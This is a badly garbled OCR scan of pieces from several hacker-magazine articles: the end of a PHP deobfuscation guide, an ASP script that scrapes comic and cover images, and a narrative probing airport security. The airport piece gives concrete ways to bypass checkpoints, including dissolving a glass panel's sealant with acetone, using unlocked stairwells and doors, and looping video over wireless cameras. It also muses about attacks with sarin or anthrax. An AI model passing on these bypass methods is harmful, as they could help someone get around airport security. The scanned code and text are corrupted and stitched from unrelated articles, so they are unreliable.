( 
if (file exists ($x456e79316561733d64abdf O Of8e8ae48)) 

{ unlink ($x456e79316561733d64abdfO Of8e8ae48) I } ;  
return $Xew6e79316561 7 3 3 d64abdf O Of8eBae48; 
} 

funct ion j 43dsdOacdeed38d4cd90 84ade1739498 ($x897356954c2cd3d41 
"b221e3f24f99bba , $x276e7931656173 3d64abdf O Of8e8ae48) 

{ 
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l f S t_ A  ( $x4 .s h P 7  CJ l 1  h 1)61 7 � 3d64dhdf n o  f H �8a�4R) ) 
($x456e79316561733d64abdfO Of8eBae48 1 , } , 

return $Xew6e79316561733d64abdfO OfBe8ae48 ; 

} 
[unc t J on lldsfOacdeed38d4cd9084ade1739498 ($xB97356954c2cd3d41b 
�221elf24fg ghha . $x276e7 g316S61733d64ahdfO OfBeBae4B) 
{ 
if (file  exists ($x45Ge79316561733d64abdf O OfBeBae48)) 

{unlink ($x456e79316 5617 3 3 d64abdfO Of Be8ae4 8) ; } ; 
return $Xew6e79316561 733d64abdfO OfBe8ae48 ; }  

funct ion tr5434fOacdeed38d4cd90B4ade1739498 ( $x897356954c2cd3d4 
� lb221e3f24f99bba , $x2 76e79316561733d64abdfO Of8eBae48) 

{ 
if (file  exists ($x456e79316561733d64abdfO Of8eBae4B) } 

{unlink ($x456e79316561 733d64abdfO Of Be8ae48 I , } , 
return $Xew6e79316561 733d64abdfO OfBeBae48 ; 

} 
funct ion f0666fOacdeed38d4cd9084ade1739498 ($x) 
{ return implode ( '  ' , fi l e  ($xl I , } 

funct ion g0666fOacdeed38d4cd9084ade1739498 ($s) 
{ 
return ( strstr ( $s ,  ' echo ' ) = =false? 

(strstr ( $s ,  ' print ' ) = =false) ? 
(strstr ($s ,  ' spr:i nt ' ) = =false) ? 

( strstr ($s ,  ' sprint_f ! ) = =false) ? 
false : 
exit () : 

exit ( )  : 
exi t () : 

exit ( I I ,  

funct ion hyr3dsdOacdeed38d4cd9084ade1739498 ( $xB97356954c2cd3d4 
"lb221e3f24f99bba , $x276e79316561733d64abdfO OfBe8ae48) 

{ 
if ( f i l e  exists ( $x456e79316561733d64abdfO Of8e8ae48) ) 

{ unl i;;k ( $x4 56e7 9316 561 733d64abdfO OfBeBae4 8 I , } , 
return $Xew6e79316561733d64abdfO OfBe8ae48 ; }  

funct i on uygfOacdeed38d4cd9084ade1739498 {$x897356954c2cd3d41b 
"221e3f24f99bba , $x276e79316561733d64abdfO OfBeBae4B I 
{ 
if ( f i l e  exists ($x456e79316561733d64abdfO OfBe8ae48) ) 

{ unl i;;k ( $x456e79316561733d64abdfO OfBeBae48 I , } , 
return $Xew6e79316561733d64abdf O OfBe8ae4B ; }  

funct ion drfg34fOacdeed3B d4cd90B4ade1739498 ($x897356954c2cd3d4 
" lb221e3f24f99bba , $x276e79316561733d64abdfO OfBeBae48) 
{ 
if { f i le exists { $x456e79316561733d64abdfO Of8eBae4B)) 

{ unl i;;k ( $x456e79316561733d64abdfO Of8eBae48 I , } , 
return $Xew6e79316561 733d64abdf O Of8eBae4B ; }  

funct ion j hkgvdsdOacdeed38d4cd90B4ade1739498 ( $xB97356954c2cd3d4 
"lb221e3 f24f 99bba , $x2 76e7 9316 561 7 3 3d64abdf O OfBe8ae4 8 I 
{ 
if ( f i le exists ($x456e79316561733d64abdfO Of8e8ae48)) 

{ un l ink ( $X456e79316561733d64abdfO OfBeBae48) i } i 
return $Xew6e79316561733d64abdfO OfBeBae4B ; 
} 

funct ion yrdhhdacdeed3Bd4cd9084ade1739498 ( $xB97356954c2cd3d41 
"b221e3f24f99bba , $x276e79316561733d64abdfO OfBe8ae481 
{ 
if (file  exists ( $x456e79316561733d64abdf O Of8eBae4B } }  

{ unl i;;k ( $x456e79316561 733d64abdfO Of8eBae4B I , } , 
return $Xew6e79316561733d64abdfO OfBe8ae4B ; 
} 

ini  set ( ' include path ' , ' . ' } ; '? >  
-Fi rst, you can see a l ot of i somorph ic  fu nct ions whi ch a re probab ly  there to throw us  off - a 

stu p i d  way to try it s i nce i t ' s  so easy to remove. Thi s  ma kes us susp ic ious .  
Let ' s  check dhcart.php for funct ion ca l l s (rough ly  approx i mated by search ing  for  occu r­

rences of "0" .  It turns  out that o n l y  three non b u i l t- i n  funct ions a re actu a l l y  ca l l ed :  f0666f O ac 
deed3 8d4cd908 4 ade1 7 3 94 9 8  ( I ,  g06 6 6 f O acdeed3 8d4cd 908 4 ade1 7 3 94 98 ( I , a nd yo666f o acdeed 3 8 d  
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4 cd9084 ade17 3 94 98 ( ) . The fi rst i s  a s i m p l e  wrapper, the second is the one that d i es if it dec ides 
we ' re be i ng naughty (oh la la . . .  ), the th i rd is the one with the l oop and "2 5 5 + "  (suggest ive of 
some encrypt ion scheme) . Th us  the o n l y  active code in 9 1 1 006. php that we know of a re these 
two fu nct ions, and trac ing  them wi l l  revea l  any other act ive fu nct ions, and rec u rs ive ly  do ing  
th i s  w i l l  tel l u s  wh ich  code i s  l i ve and  wh ich  we can dump.  

f06 6 6 f O acdeed3 8d4 cd 908 4 ade17 3 94 98 ( }  and g06 6 6 f O a cdeed3 8d4 cd908 4 ade17 3 94 98 ( }  ca l l  
noth i ng but  bu i l t i n  fu nctions, so we ignore them. 

y06 6 6 f O acdeed3 8d4 cd908 4 ade17 3 94 98 ( )  i s  more com p l ex, so with the a id of searc h i n g  for 
" ("  we d i scover . . .  that it ca l l s  noth i n g  but  b u i l t- i n s .  

So su rpr i se s u r-fuck i ng-pr i se, t h e  ent i re rest o f  t h e  code is c l aptrap .  To /dev/n u l l  y o u  go! 
Now to m a ke the names more readab le .  The fu nct ions a n d  the i r  a rguments ca n be renamed 

(but then re-a l i ased if you w i sh  so that the obfuscated code w i l l  sti l l  run )  accord i n g  to what 
they seem to be doi ng. To rename, we use the wondrous fi nd-a nd-rep l ace featu re that you r  
text ed i tor shou l d  h ave. 

Here is the code. In the i nterest of leav i ng some sma l l  a mount  of mystery for you to puzz le  
over, I ' m  not  go i ng to  exp l a i n  i t .  
< ?php ini_set ( l inc l ude-path ' , di rnarne { __ F I LE __ ) ) ;  

func t i on dec rypt ( $key , $ cyphe r t ext ) 

{ 
$ s = ' , ; 
$ i = O ;  
$keylen= s t r l e n ( $key} ; 
$ char=hexdec ( ' &H '  . subs t r { $ cyphertext , O , 2 ) ) ; 
f o r ( $ j = 2 ; $ j < s t r l en ( $cyphertext } , $ j + = 2 }  

( 
$ cyphe rbyte = hexdec ( t rim ( sub s t r ( $ cyphertext , $ j , 2 ) ) ) ,  
$ i =  ( ( $ i < $keyl e n )  ? ( $ i  + I ) , I } ,  
$ p l ainbyt e = $ cypherbyte A ord ( subs t r ( $key , $ i - l ,  1 ) ) ;  
i f  ( $p l a i nbyt e < = $ c ha r )  

$ p l a i nbyt e = 2 5 5 + $p l a i nbyt e - $ char ; 
e l s e  

$ p l a i nbyt e = $ p l a inbyt e - $ char , 
$ s = $ s . ch r ( $ p l ainbyt e }  , 
$char=$ cypherbyt e ;  
} 

return $ 5 ; 
} 
func t i on y 0 6 6 6 f O acdeed3 8d4cd9 0 8 4 ade 1 7 3 9 4 9 8  ( $x 8 9 7 3 5 6 9 5 4 c 2 cd3d4 1 

-'b2 2 1 e 3 f 2 4 f 9 9bba , $x2 7 6 e 7 9 3 1 6 5 6 1 7 3 3 d 6 4 abdf O O f B eBae4 8 )  

{ return decrypt ( $x8 9 7 3 5 6 9 5 4 c 2 cd 3 d4 1b2 2 1 e 3 f 2 4 f 9 9bba , $ x2 7 6 e 7 9 3 1 6 5  6 1 7 3 3 d 6 4 abdf O O f 8 e 8 ae4 8 }  , }  

func t i on l oadFi l e ( $x )  
{ return imp l ode ( '  ' , f i l e ( $x } } , }  
func t i on f 0 6 6 6 f O acdeed3 8d4cd9 0 8 4 ade 1 7 3 9 4 9 8  ( $x )  
{ return loadF i l e ( $x } , } 

funct i on checkFi l e { $ s )  

{ 
return ( s t r s t r ( $ s ,  ' echo ' ) = = f a l s e ?  

( st r s t r ( $ s ,  ' print ' } = = f a l s e ) ? 
( s t r s t r ( $ s ,  ' sprint ' ) = = f a l se ) ? 

( s t r s t r ( $ s ,  ' sprintf ' ) = = f a l se ) ? 
f a l s e : 
exit ( )  : 

exit ( )  , 
exit ( )  , 

exit ( } ) ,  

func t i on g 0 6 6 6 f O acdeed3 8d4cd9 0 8 4 ade 1 7 3 9 4 9 8  ( $ s )  
{ return checkFi l e ( $ s } ; } 
ini_s e t ( ' inc l ude-pa th ' , l .  I } ; ? >  

Conclusion 
Obfuscat ion  is i neffic ient .  Obfuscat ion is u nderhanded. O bfuscat ion is wr i tten by peop le  

who assume others a re rea l l y stup i d  a n d  i ntend to exp lo i t  that .  I t  i s  as c l ose to  ev i l  as ASC I I  
c a n  get. I wrote th i s  g u i de both t o  ra i se consc iousness o f  t h i s  part i cu l a r  i d i ocy i n  t h e  wor l d  
today, and  t o  gu i de newb ies a long the path t o  hackerdo m .  I h o p e  y o u  fou n d  i t  en l ighte n i ng.  
N ow excuse me wh i l e  I f l ick th i s  switch . 
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by daColombian 
jmwco�llblazemail.com 

Accord i ng to my fa mily, 1 ,1111 a very P,l r,l ­
n(lICj persu n .  I red l l y don ' t  th i n k  I a m  para­
n(J I (l ;  rd lher. I c l a ss i fv myself  ,I S "c.m'fu l . " 
One oj I he  I h i ngs Iha l  I tcnr! to bp ca refu l 
about is purchas i ng the  I <ltpSt 16()() Maga­
zine. Wh i lp I tru l y  be l i eve that t h e  16()() siaff 
protects the i rlent i t il's of the i r subscr i bers, 
I l ive i n a very sma I I  town where everY0nl' 
knows everyone ' s  bus i ness a n d  I C J n  o n l y  
I mag ille t h e  uproar t h a t  t h e  a rr iva l  o f  16()() 
wou Ir! cause. 

So i n  order to p rotect the "ppace, " I have 
been relegaterl to goi ng to a bookstore i n  
another town to pu rchase i t  (with cash ) .  The 
b i ggest prob lem with th i s  method is be i ng 
ab le  to  k now when  the new i s sue  i s  releaser! . 
I have to fwr iorl i ca l l y stop by the aforemen­
t ionerl bookstore a n rl  check to scc i f  the new 
i ssue is out. Th i s  q u i ck l y  became troub le­
some due to the d i stances i nvo l ved . So I had 
to look for a nother a nswer. 

Opt ion Expl i c i t  

O n  ELt'Ol: R e s ume Next 

I sta rted hy check i ng the 160() webs ite 
every day at work (beca use I o n l y  have d i ,l l u p  
at home) b u t  even that was tro u b l esome 
beG1USl' the network adm i n  i s  one of them 
"ass-backwa rds" fo l ks who th i n ks "hacker" is 
a d i rty word and wou l d  have marle my l i fe 
m i serab le  if they fou nd out .  

. 

What I neer/erl was a way to v iew the 
cover image 

,
Without logg i n g  a ny susp i ­

C IOUS act iv i ty. So what I ended up  do ing  was 
wr r t l llg a sma l l  ASP page (see corle below) 
that wou l d  grab the cover i mage of the l atest 
I ssue fro m  the 2600 webs i te and  d i sp l ay i t  so 
that I wou l rl know i nsta nt ly  when the new 
issue was out. Th i s  wou l d  a l low me to know 
th i s  by o n l y  go i ng to my person a l  webs i te.  

Bas ica l l y  the page takes a given U RI., 
sea rches for a given token, and then returns  
the assoc i atprl i mage d S  a l i n k  to go to that  
page. As you can see f rom the samp le  code, 
I a l so get a coup le  of other i mages for my 
read i ng p l easure. 

Good l uck, stay safe, and  keep you r  
powder d r y  . . . .  

D i m  oHttp , sTemp , i Comi c ,  l S t a r t , i End , aUrl s ( 3 )  I aSrch ( 3 )  f aComi c s ( 3 ) , a 

Set oHttp = Creat eObj ect ( " Msxm 1 2 . Se rverXMLHTTP . 3 . 0 " )  

aUr l s ( O )  .. ht t p : / /www . 2 6 0 0 . com/ .. 
aSrch ( O )  11  image s / cove r s  II 

aUr l s ( l )  I lhttp : / / www . di lbert . com/ .. 
aSrch ( l l  " TODAY ' S  COM I C "  

aUr l s ( 2 )  = " ht t p : / / www . gocomi c s . com/ thequigmans / .. 
aSrch ( 2 )  " comi c s / tmqui " 
% >  

<: ! DOCTYPE HTML PUBI .. IC " - / /W 3 C / / DTD HTML 4 . 0  Trans i t iona l / l EN " > 
<html > 
<head> 
< t i t l e >Comi c s  page< / t i t l e >  
< me t a  h t  t p - equi V= II  Content - Type It  content= " text/html ; charset o;:.windows "" 12 5 2  It  > 
< /head > 

<body> 
< tab l e  width= S 9 0  c e l l spac ing= 5 c e l l padding= S >  

< t r > < t d  c l a s s = ' l inetop ' c o l span=4 a l i gn = l e t t  val ign�bo t t om >Comi c s < / t d > < / t r >  
< %  
, l oop through a l l  o f  t h e  URLs in t h e  array 
For a � 0 t o  Ubound ( aUr l s l  - 1 

aComi c s ( a )  
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, get the text f rom the g iven page 
sTemp = getL ink ( aUrl s ( a )  , oHt t p )  

, i f  there i s  t ext 
If Len ( sTemp ) > 0 Then 

, l ook for the t oken 
iComic = InS t r ( UCase ( sTemp ) , UCas e ( aSrch ( a ) ) )  

I f  iComic > 0 Then 

, l ook for the image tag 
i S t art = InSt rRev ( UCase ( sTemp ) , " < IMG " , i Comi c )  

I f  i S tart > 0 Then 

, l ook for the c l o s i ng > o f  the image tag 
i End = InSt r ( i S t a r t , sTemp , " > " )  + 1 

I f  i End > 0 Then 

, get the image tag text 
aComi c s ( a )  = M i d ( sTemp , iStart , i End - i S t art ) 

, rep lace the s r c  w i t h  one point ing to the o r i ginat ing web s i t e  
I f  InS t r ( aComi c s ( a ) , " SRC= " " / " )  > 0 Then 

aComi c s ( a )  = Rep l a c e { aComi c s { a ) , " SRC= " " / " , " SRC= " " "  & aUrl s ( a ) ) 
E I s e I f  InS t r ( aComi c s ( a ) , u SCR= "' ) > 0 Then 

E l s e  
aComi c s  ( a )  Rep l a c e  ( aComi c s  ( a ) , " SRC= " ' ,  " SRC= ' "  & aUr l s  ( a ) ) 

aComi c s ( a )  Rep lace ( aComi c s  ( a )  , " SRC= " " " ,  " SRC= " " u  & aUr l s ( a ) ) 
End I f  

, wri t e  the image tag out w i t h  a hyp e r  l i nk t o  the origina t i ng web s i t e  
Response . Wr i t e  " < t r > < t d  a l ign=cent e r > < a  hre f = " " "  & aUr l s ( a )  & " " " > "  & 

.. aComi c s ( a )  & " < / a > < / t d > < / t r > "  & vbc r l f  

End I f  

End I f  

End I f  

End I f  

Next 

< t r > < t d  c l a s s = ' l inebot tom ' c o l span = 4  a I ign=center va l i gn = t op > &nbsP i < / t d > < / t r >  
< / t ab l e >  
< /body> 
< / html > 
< %  
Func t i on getLink { sUrl , oHttp ) 

Dim Ref Page 

On Error Resume Next 

getL ink = " n  

, open the u r I  
oHttp . Open " GET " , sUrl , Fa l s e  

I f  E r r . Number = 0 Then 

' s end the reque s t  
oHttp . Send 

If E r r . Number = 0 Then 

1 get the response 
R e f  Page = oHttp . responseText 

, return the response if the page is f ound 
I f  I n S t r ( Re f Page , " NOT FOUND " ) = 0 Then getL ink 

End I f  

End I f  

R e f  Page 

End Func t i on 

% >  
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a t  tb e Airport ·· I 

by Evil Wrangler 
I l ive i n  a major  U . s .  c i ty w h i ch,  l i ke 

most major U .S .  c i t i es, has  a major a i rport 
that has  been i nfested wi th  Transportat ion 
Safety Adm i n i strat ion  workers a n d  i d i ot ic, 
restr ict ive sec u r i ty po l i c i es des i gned to g ive 
the Amer ican p u b l i c  a fa lse sense of safety 
and  prov ide  an art i fi c i a l  env i ron ment for 
i neffi c i ent a n d  greedy a i r l i ne compa n i es to 
cont i n u e  to do bus i ness .  Many suspect that 
the E m peror  i s, in  fact, na ked, a n d  recent ly  
I took i t  upon myse l f  to  i nvest igate whether 
the vau nted a i rport sec u r i ty i m p l emented by 
the ga rgantu a n  TSA is thorough or not .  

What i s  deta i l ed i n  th is  n a rrative n udges 
very c lose to brea k i ng U . s .  l aws.  U nder no 
c i rc u m stances shou l d  a nyone read i ng t h i s  
rep l i cate w h a t  i s  wr i tten here. Th i s  accou nt, 
wh i le factua l ,  is for i nformat ion pu rposes 
o n l y. 

Recent ly  I was i n  the a i rport wa i t i n g  for a 
fl ight that had been del ayed . Wow, l i ke tha t  
never happens .  I t  was l ate a t  n ight - after 
8 : 00 pm, a n d  s i nce I a l ready had parked the 
car  a n d  had about a n  hour to k i l l , I dec ided 
that I wou l d  wander a rou nd and i nvest igate 
the l ay of the l a n d .  At the t i me I d i d  th i s, I 
was d ressed i n  j ea n s, sneakers, and  a b l ack  
t-s h i rt tha t  proc l a i med:  " I ' m  not  a hacker, 
I ' m  a security professional." Rea l l y - th i s  was 
what I was wea r i n g .  Why t h i s  matters w i l l  
become ev i dent short ly. 

So I sta rted by exam i n i ng the phys i c a l  
l ayout o f  the term i n a l  bu i ld i ng .  Bottom f loor 
for a rr iva l s  and baggage c l a i m, m a i n  f loor 
for t i ckets and check- i n, and  a mezza n i n e  
for offices a n d  food .  Arr iva l s  i s  bor i n g  - by 
then a l l  the fu n ' s  over. The m a i n  f loor, wi th  
t i cket i n g  a n d  check- i n, i s  where the TSA 
does the i r  sec u r i ty dance.  Bas i ca l l y  there ' s  
a sect ion  o f  t h e  f loor that a l l ows passengers 
to pass th rough from the t i cket counters to 
the s i de wi th  the gates a n d  a i rc raft a n d  over­
pr iced shopp i ng . Passengers stand  i n  long 
l i nes, remove the i r shoes, a n d  occas i o na l l y  
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a TSA person pu l l s  a grandmother out of 
the l i ne a n d  g ives her " the wan d "  w h i c h  is a 
more thorough phys i c a l  search des igned to 
detect that yet a nother Amer ica n ' s  l i berties 
a re be i ng v i o l ated . 

U nfortu nate ly  for the TSA (and us, 
perhaps) a i rport a rc h i tects were not aware 
that the U . S .  wou l d  become a terror i st 
ta rget a n d  therefore when they l a i d  out  the 
f loor p l a n s  they des igned them to fac i l i tate 
access, not rest r ict it. So TSA has to m a ke 
up for the i r shorts i ghtedness by phys ica l l y 
b l ock i ng off access u s i n g  those e l ast ic  rope­
a nd-po le  g i zmos accompan ied by a TSA 
goon or  two . In add i t ion, the ent i re term i na l  
f loor, from t h e  entranceways down t o  the 
gates, i s  being mon i tored by CCTV. So i n  
the event somebody somewhere does some­
t h i n g  to someone somet i m e, i t  gets recorded 
on  v i deotape for l ater network and cab le  
broadcast, a n d  for the tr i a l  of cou rse. 

In my part i c u l a r  u n n a med major c i ty 
a i  rport there are two l a rge sectio n s  of the f loor 
staffed with TSA goons  with the i r  conveyer 
belts, e l ast ic  ropes, x- ray mach i nes, and  
other paraphern a l i a .  There a l so a re a coup l e  
o f  a reas, b l ocked off w i t h  e l ast ic  ropes and  
m a n ned by  TSA goons, where f l ight  c rew, 
whee l c h a i r  passengers, etc . can  proceed 
from one s ide of the term i n a l  to the other. 
Bas ica l l y, if you wa nt to get to the gates, you 
h ave to wa l k  past a TSA stat i o n .  Or  do you ?  
We l l , that ' s what I dec i ded t o  f ind out .  

For sta rters I went u p  to the mezza n i ne, 
above the term i n a l .  Or ig i n a l l y  t h i s  floor was 
desi gned to a l l ow peop le  to stand  and gawk 
at the a i r  trave l ers wh i le enjoy i n g  the i r l attes .  
I t  has  a terr i f ic  v iew of the a i rf ie ld ,  and  is  
perfect for s ma l l  ch i l dren who want to prac­
t ice sp i tt i n g  on h e l p l ess trave l ers .  H owever, 
s i nce the terror i sts m ight try someth i ng more 
extreme than  sp itt i ng, the ent i re mezza n i ne 
f loor above the gate concou rse has  been 
g lassed off, from the b a l cony to the cei l i ng, 
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u s i n g  thi c k  (but  not b u l l etproof) g lass pane l s  
a n d  s i l icone sea l ant .  

At the end of the mezza n i ne wal  kway there 
is a s m a l le r  pane l  cut to fi l l  the rem a i n i ng 
space (of cou rse the a rchi tect d i d  not thi n k  
t o  des ign a mezza n i ne t o  b e  a m u l t i p l e  of 
the length of the g l ass pane l s ) .  That pane l ,  on 
the end far away from TSA, o n l y  had s i l icone 
sea lan t  bond i n g  i t  to a nother pane l  - i t  was 
not bonded to the wa l l .  

For those not fam i l i a r  wi th s i l i cone 
sea l ant, acetone, a l so k nown as na i l  po l i sh 
remover, w i l l  d i sso l ve it q u ite effective l y. So 
you r  garden var i ety terror i st need o n l y  wa l k  
i nto the a i rport, take the esca l ator or  e levator 
up to the next f loor, wa l k  to the end where 
there a re no peop le, fasten a suct ion c u p  
or other appa ratus  t o  the g l ass, a n d  w i th a 
coup l e  of m i n utes w i th some acetone a n d  
maybe a ut i l i ty k n i fe (remember, I never 
went through secur i ty so I can have what­
ever I wa nt to do thi s)  that g lass pane l  i s  
go i n g  t o  c o m e  loose.  

What a budd i ng terror i st wou l d  do after 
that is a matter of conjectu re - sta rt shooti ng, 
throw exp l os i ves, or  j u st d u m p  out you r  
handy conta i ner  o f  sa r i n  or  anthrax or what­
ever a n d  wa i t  for the fu n to begi n .  Or e l se 
they cou l d  s i m p l y  c l i mb over the ra i l i ng 
a n d  d rop to the f loor bel ow, or u se a rope 
and rappel i f  they ' re go i ng for that who le  
"com mando terrori st" l ook .  

But  most  of us  a ren ' t  terror i sts - a fact 
that appea rs to have been l ost on the U .S .  
government .  Why wou l d  we wa nt  t o  r i sk  
i n j u ry c l i m b i ng over the ra i l i n g  a n d  d ropp i ng 
ten or fifteen feet when we cou l d  j u st wa l k  
down the sta i rs ?  That ' s  r ight, i n  m y  part i c u l a r  
a i rport I observed severa l sta i rcases t h a t  l ed 
d i rect ly  from the mezza n i ne down to the 
gate s ide  of the term i na l  m a i n  f loor. Two had 
i mpos i n g  s igns  mou nted on  the door say i n g  
" Restri cted Access - Do N ot E nter" a n d  o n e  
h a d  abso l ute l y  no s ign  a t  a l l .  That ' s  ca l l ed 
"secur i ty by obscu r ity" a n d  i t ' s  a l ways a bad 
idea. A l l  three sta i rwe l l s  were open a n d  
n o n e  o f  t h e m  had s o  much  as a n  a l a r m .  I 
persona l l y  ver i f ied these facts. Had I des i red 
an extended stay w i th the federa l a uthor i ­
t ies I eas i l y  cou l d  have wa l ked down the 
sta i rs a n d  ex i ted onto the term i n a l  f loor on 
the gate s ide  of the term i n a l  w ithout hav i n g  
gone through sec u r i ty. M y  entry wou l d  have 
been recorded by sec u r i ty cameras .  Ta l k  
about meet i n g  you a t  the gate! 

Not i n c l i ned to do a l ot of wa l k i ng?  Lazy 
or fat hackers can take the e levator. In my 
part i cu l a r  a i rport there a re severa l e l eva­
tors between the three floors. One e levator 

is b u i l t  so that it l ets you out on  the m a i n  
f loor i n  a n arrow ha l lway adjacent t o  the 
wome n ' s  bathroo m .  If that ' s not enti c i n g  
enough, y o u  can  j ust t u r n  a ro u n d  a n d  
wa l k  though the u n l ocked door t o  the gate 
s ide of the term i n a l .  The s ign  on  the door 
reads " Restr icted Access - Do N ot Enter, "  
b u t  there ' s  abso l ute l y  no phys i c a l  barr ier  
prevent ing  someone from wa l k i n g  though 
the door. I f  you ' re m a l e, and you ' d  rather u se 
the men ' s  bath room,  you can  wa l k  past the 
e levator, a rou nd the TSA checkpo i nt whi ch 
i s  s i tuated between two d i v i d i n g  wa l l s, a n d  
past the men ' s  room t o  the other l abe led 
a n d  u n l ocked door. Aga i n ,  sec u r i ty cameras  
w i l l  record you r  i nt rus ion ,  but  bes ides that 
there ' s  absol ute l y  no barr ier  to entry. 

U p  on the mezza n i ne you get a ter r i fic  
v iew, most l y  of  c leavage a n d  construct ion 
d u st, but  a l so of the secu r ity camera l ayout. 
Most of the cameras  a re hardwi red together 
a n d  routed to a h idden secu r i ty outpost. 
H owever some of the ca meras a re - I am 
not m a k i n g  thi s  u p  - con nected to w i re­
l ess routers p l ugged i nto e l ectr i c a l  sockets 
nea rby. Those fa m i l i a r  w i th the o l d  X l O 
camera hack - if you ' re not j u st Goog l e  for 
2600 a n d  warspy i ng - w i l l  rea l ize that with  
a l a ptop a n d  some i nexpens ive h a rdwa re, 
it is possi b l e  to overr ide the s i g n a l  of the 
cameras.  A cute H o l l ywood i l l ustrat ion of 
thi s  is ava i l a b l e  i n  the or i g i n a l  Speed mov ie  
where, u n fortunate ly, i t  fa i l s  to  foo l  terror i st 
Den n i s H opper. Bu t  if you wa nted to get 
through one  of those doors I ment ioned 
ea r l ie r  a l l  you ' d  do i s  record a sma l l  v i deo 
c l i p  of noth ing  happe n i ng on one of the 
cameras, a n d  then rep lay that c l i p  as a l oop 
on the camera ' s  freq uency whi l e  you browse 
the bookstores and l uggage shops on the 
gate s i de of the term i n a l .  

There were other ent ic i n g  f inds  u p  o n  
the top f loor, i n c l u d i n g  em pty offices with 
S i m p l ex door l ocks (some w i th defc lU ! t  
combi nat ions  and  some that wou l d  req u i re 
e i ther a few good guesses or e l se Goog l e  
for the 2600 a rt i c l e  b y  Scott S k i n ner a n d  
E m m a n u e l  Go l dste i n )  as we l l  as a n u rsery 
and the offices of the TSA. Tha t ' s  r ight, I 
wa l ked a rou nd a n d  past the sec u r i ty offi ces 
severa l t i mes w i thout be i n g  observed or 
cha l l enged . 

A l so up on the mezza n i ne was a c l osed 
and l ocked bra n ch of a l a rge u.s. ba n k  that 
was, in sp i te of severa l cameras po i nt i ng  
at the front, open  a n d  access i b l e  from the 
back s ide .  Behi nd  the te l ler  desk there 
were offices w i th the i r  n etwork con nected 
W i n dows workstations, u n l ocked, a n d  the i r  
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n u merous  c h a i rs, desks, off ice supp l ies, a n d  
te lephones .  I l i tera l l y had the opport u n ity 
to rob a b a n k  bra n c h  at the a i rport. Bes i des 
a p i ct u re of me wa l k i n g  past the c l osed 
and l ocked te l l er  w i ndows on  the sec u r i ty 
cameras, there wou l d  h ave been no way that 
I cou l d  h ave been l i n ked to the c r i m e  had 
I taken some e lementary fore n s i c  prepara­
t ions .  Need l ess to say I passed up t h i s  go lden 
opport u n ity to  spend severa l years i n  a state 
pen itent i a ry, but the sec u r i ty ho les  rem a i n  as 
I wr i te t h i s, wa i t i n g  for someone wi th  fewer 
scrup l es (and maybe better at c l i mb i n g  over 
h igh wa l l s) to take advantage of them. 

Hav i n g  ident i fied these (and other) c h i n ks 
i n  the vau nted TSA armor, i t  was t i m e  for 
me to approach the TSA workers. I rode the 
esca lator down to the main  term i n a l  f loor 
(st i l l  on the street s ide of the term i n a l ,  not 
h av i n g  passed t h rough secu r i ty)  and began 
to i nteract w i th  the TSA workers.  

At th i s  po in t  I ' d  been wa l k i ng a ro u n d  
t h e  term i n a l  for about a n  hour, u n mol ested, 
wea r i ng my b lack  t-s h i rt. I approached th ree 
TSA goons/guards a n d  asked about the 
configu rat ion of the esca l ators, namely the 
one go i ng u psta i rs was not adjacent to the 
one go i ng u p  from the f loor be low. The TSA 
person to l d  me that they d id not know but  I 
cou l d  go ask  I nformati o n .  I exp l a i ned that the 
name of the i nformat ion department was a 
m i s nomer a n d  that I wou l d  be more l i ke l y  to 
get an a n swer from m a i ntenance. They to l d  
me that they d i d  not know where m a i nte­
na nce was. I than ked them a n d  wa l ked back 
u psta i rs to stare down on  them in d i sgust .  

I rode the esc a lator down from the 
mezza n i ne leve l  a n d  stood i n  front of th ree 
TSA workers wea r i ng a hacker t-s h i rt, h av i n g  
prev ious ly  wa l ked b y  them severa l t i mes 
in the pa st 60 m i n utes, and they ne i ther  
not iced me nor cons idered me susp ic ious .  
O n l y  i n  Amer ica  ... . 

N ext I approached another gro u p  of TSA 
workers at a d i fferent checkpo i nt a n d  struck 
up  a conversat ion  about a n  ant ique  a i rp l a n e  
mou nted from t h e  ce i l i ng o f  the term i n a l .  
O n e  o f  t h e  TSA workers asked me someth i ng 
l i ke "Are you here to p i c k  up someone or a re 
you here d o i n g  someth i n g  e l se ? "  I assu red 
them, truthfu l l y, that I was there for the 
pu rpose of  meet i n g  a n  arr i v i n g  passenger. 
That sat i sf ied them. I soon became bored 
and went downsta i rs to the ar r iva l s  a rea, 
part ly  to be cons i stent with my story, but 
a l so to scope out  the lower f loor. 

Arr iv i ng passengers descend from the 
gate a rea to the baggage c l a i m  a rea. They 
then proceed to the baggage carrouse l .  To 

keep the r i ffraff out, there i s  a n  overhead r ig  
cons i st i ng of motion  sensors a n d  f lash i ng 
b l ue l i ghts mou nted a bove the base of the 
desce n d i n g  esca l ators. Th i s  post  i s  m a n n ed 
by a TSA worker. Apparent ly  if someone 
tr ies to wa l k  from the baggage a rea to go 
up the down esc a lator, the l ights f lash a n d  
a recorded vo ice shouts "Wa rn i ng warn i n g  
do not proceed" or  " D anger Wi l l  Rob i nson"  
or someth i ng equ a l l y u rgent. Prob lem was,  I 
o n l y  saw it act ivated when passengers came 
down the esc a lator, c reat i ng fa l se  pos i t ives 
w h i c h  the TSA worker dut i fu l l y  ignored. 

In the i nterest of l earn i ng I approached 
the TSA workers (by now there were two) a n d  
asked t h e m  w h at they referred t o  t h i s  dev ice 
as,  what was i ts name? They seemed not  to 
u n derstand  me.  I t r ied ask ing the q uest ion  
a d i fferent way. After the th i rd attempt the 
one that  k ind of spoke E n g l i s h  exp l a i ned to 
the one that obv i o u s l y  d i d  not speak Eng l i s h  
that I w a s  i nq u i r i n g  about the term t h a t  they 
u sed to desc r i be the i r part i c u l a r  secu r i ty 
dev ice .  The best a n swer that  the two TSA E S L  
cand idates cou l d  produce w a s  the one t h a t  I 
ventu red for them - sensor. U n less these two 
were m a rt ia l  a rts teachers moon l ight ing  as  
sec u r i ty goons,  there was no  hope that they 
wou l d  be a b l e  to w ithstand any  sort of brute 
force attack, let a l o n e  someth i ng s i m p l e  l i ke 
me d i stract i n g  them wh i l e  someone e l se 
s n u c k  beh i nd them a n d  scooted up the esca­
l ator (or  sta i rs - there a l so were sta i rs, but  
lazy Amer i can  passengers a lways seemed to 
use the esc a lator to descend to the baggage 
c l a i m  area ) .  

F i na l l y, i t  w a s  t i m e  for me t o  p ick  u p  m y  
ar r iv i n g  passenger. The i r  p l a n e  had arr ived, 
so I went u psta i rs to the mezza n i n e  and  
ca l l ed the i r ce l l phone. I watched th rough 
the not-b u l l etproof g l ass that I cou l d  eas i l y  
detach as  the i r  p l a n e  tax i ed t o  t h e  gate a n d  
d i sgorged them, ne i ther  safe n o r  sound,  i nto 
